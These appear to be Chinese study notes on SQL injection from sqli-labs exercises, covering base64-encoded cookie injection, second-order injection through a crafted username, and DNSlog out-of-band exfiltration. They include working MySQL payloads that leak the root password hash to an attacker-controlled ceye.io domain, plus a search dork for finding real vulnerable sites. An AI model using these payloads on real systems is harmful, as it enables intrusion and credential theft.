#加解密(Sql-libs Lesson21)
简而言之就是注意注入点内容是否经过加密,如果经过加密则注入语句也需要经过加密。
sqlmap里也有注入点base64加密的插件。
实例1:
step1: 抓数据包,发现这里是Cookie注入,注入点在这里,且经过加密。%3D是=,这是用Base64加密了。所以在注入的时候,要把整个语句也都加密。
看样子这里是先base64加密,然后URL编码。
原因是代码里会进行一次解密,所以我们传入的语句要加密。
step2:可以用报错注入语句验证一下,顺便验证一下报错语句。
实例2:
inurl:id=MQ== 来找一些现实中某些加密的网站
#二次注入
与之前的注入在产生地方的区别。二次注入无法通过扫描工具或者说手工测试出来。
二次注入产生在源代码中,黑盒测试是找不到的。建立在白盒之上。产生在数据互联中,比如注册账号或者修改账号信息。
这个也解决了如果参数进行了转义函数该怎么办的问题。转义的数据在写入原数据库中会被还原为原来的数据。经过实验sql语句中还是带 \ ,只有当写入到表中去的时候,也就是字符串被输出时才会消掉 \ ,完成转义对于 ' 的保护。这也表明了碰到魔术语句,一般的sql注入是不行的。
简而言之,就是先把攻击语句写好并放到数据库中,然后有一些操作会用到这些数据,把它当作条件。
比如:
我注册了一个账户名为 admin' and 1=1 ,然后我要修改数据就会执行这个sql命令
自然而然的,就实现了注入。
二次注入可能会遇到的困难:用户名长度限制
前端就是html语言,是对于网页的而渲染。后端是类似于php语言,对数据进行处理。
在后端限制的话解决不掉。
在前端限制的话,可以直接修改html代码中对于长度限制的代码。
实例1:(Lesson24)
step1:
这里有个问题我可以抓包看看到底是啥样子。为啥不能直接注入,必须二次注入呢?代码中是怎么保护的呢?
我感觉注册的时候会进行转义,加上 \' ,不过也符合常理,就是如图片所说。得去看看源代码。
注册账户 dhakkan'# 可以看到数据库中已经有了
step2:登陆进去,并修改密码为xxxxxx,为了出发二次注入
step3:惊讶的发现竟然是dhakkan修改了密码。
修改密码的代码:因为用户名从而导致了sql注入。#注释掉了对于后边password的检查。
#DNSlog:解决了盲注不能回显,效率低的问题
需要满足的条件:需要对方的注入点是高权限,因为涉及到文件读取。
为什么都可以文件读取了,那不直接进行文件读取操作?:因为,即使能进行文件读取,后门也不一定能起作用。比如,后门脚本不解析。
当碰到独立的语句时,不好union select一类的时候。注意可以使用条件判断,因为在执行条件语句的时候,一定会执行条件。所以可以使用 and if( (条件) , 1, 0 )
CEYE
DNS的一个平台:CEYE - Monitor service for security testing
对于每个用户,都有唯一的域名标识符如 xxxx.ceye.io
所有来自于 xxxx.ceye.io 或 *.xxxx.ceye.io 的 DNS查询和HTTP请求都会被记录
这个网站里也有每一种数据库的payload。
MySQL:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
concat()中,中间那一大坨东西就是我们想要显示的信息。
正式使用:
select * from users where id=1 and if( (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'))) ,1,0)
load_file() 支持对外的读取。数据库通过这个函数可以访问域名,从而留下信息。DNS解析服务器的日志上就会有这个信息。实现回显的目的。
首先自己需要创建一个可以配置的域名,我们这里用的是ceye.io,能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们就是通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
因为*.xxxx.ceye.io的域名我们都可以接收到,所以我们在sql语句中的URL中,可以将 * 替换成我们想要的信息,比如user(),database()等等。 就是将信息放在域名上。
实例:
step1:在上边的平台上注册一个账号,得到自己的DNS地址。
手工注入需要DNS地址。
工具的话需要API Token。
step2:注入语句
select * from users where id=1 and if ( (select load_file( concat('\\\\', (select version()), '.oj6kqk.ceye.io\\abc') )) 1,0 );
中间的select version()信息就是我们想要回显的。
step3: 域名的前边,就是我们想要回显的信息。
工具:DnslogSqlinj
step1:配置好config.py文件
step2:
单引号 ' 和最后的--+看情况写。
域名需要加双引号。
31m表示回写时间
脚本中转:自己写
主要是有些时候手工注入比较麻烦。
对于注入工具,也可以自己写脚本插件。
sqlpmap有丰富的脚本(在tamper文件夹下),也可以进行二次开发。
实例1:
step1:简单脚本实现自动base64加密。
url变量存的是要访问的地址
将get得到的经过base64加密,在和url拼接到一起。
其实说到底是做了一次中转。
file_get_contents()的作用是读取文件内容,也就是可以读取目标URL的网页HTML代码(其实就是做了一个URL请求)并返回,在自己的网页上渲染。或者简单来说就是访问这个URL。
感觉代码有点儿小问题,php中是靠 . 拼接的,而且是不是要输出读取的文件才能显示?